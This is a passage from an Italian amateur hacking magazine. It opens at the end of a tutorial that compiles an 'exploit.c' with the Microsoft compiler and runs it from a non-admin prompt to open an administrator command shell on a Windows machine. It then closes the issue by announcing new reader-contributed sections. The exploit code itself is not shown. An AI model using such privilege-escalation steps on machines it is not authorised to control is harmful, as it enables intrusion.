e da qui digitate
vcvars32.bat
ed ora per concludere scrivete
cl exploit.c
ora l’exploit e stato pachettizzato in .exe. con sucesso
ed ora usiamolo per avere una cmd da admin
dirigiamoci sulla sudetta macchina e prendendo l’exploit
pachetizzato prima, mettiamolo momentaneamente sul
desktop ed apriamo una cmd senza essere admin
e digitiamo la posizione dell' exploit e l’exploit. exe e cmd
la posizzione la possiamo vedere cliccando col tasto sinistro
sul exploit quindi nel mio caso scrivo:
C:/User/Guest/Desktop/exploit.exe cmd
una volta fatto ciò premiamo semplicemente invio et vuoila
si aprirà magicamente una cmd con privilegi di admin
[articolo 100% afr0]
Il Primo numero è concluso, per il prossimo numero che
uscirà fra 2 mesi, ci saranno tante novità.
Tra le novità ci saranno 3 rubriche:
NEWS RELAISE
Tutti gli aggiornamenti, di distro gnu/linux che usciranno
durante il mese prima del uscita della rivista
CRAZY PROJECT
Avete un progetto pazzo?
Un idea folle?
Bene non scartatela, scrivetela sulla mia pagina facebook
(dovrete scrivere solo cose! Non mettete link solo quando
verra scelta allora vi contattero io per inviarmi il link della
pagina web dove rimandare la gente)
ACID IMAGE
Postate i vostri lavori grafici migliori su Devian art e
mandatemi il link i 5 migliori saranno scelti, e postati sopra
la rivista.
Ognuna di queste rubriche, richiede l'aiuto del publico.
In caso il publico non fosse interessato, quindi io non riceva
nulla la rubrica che è vuota non sara presente.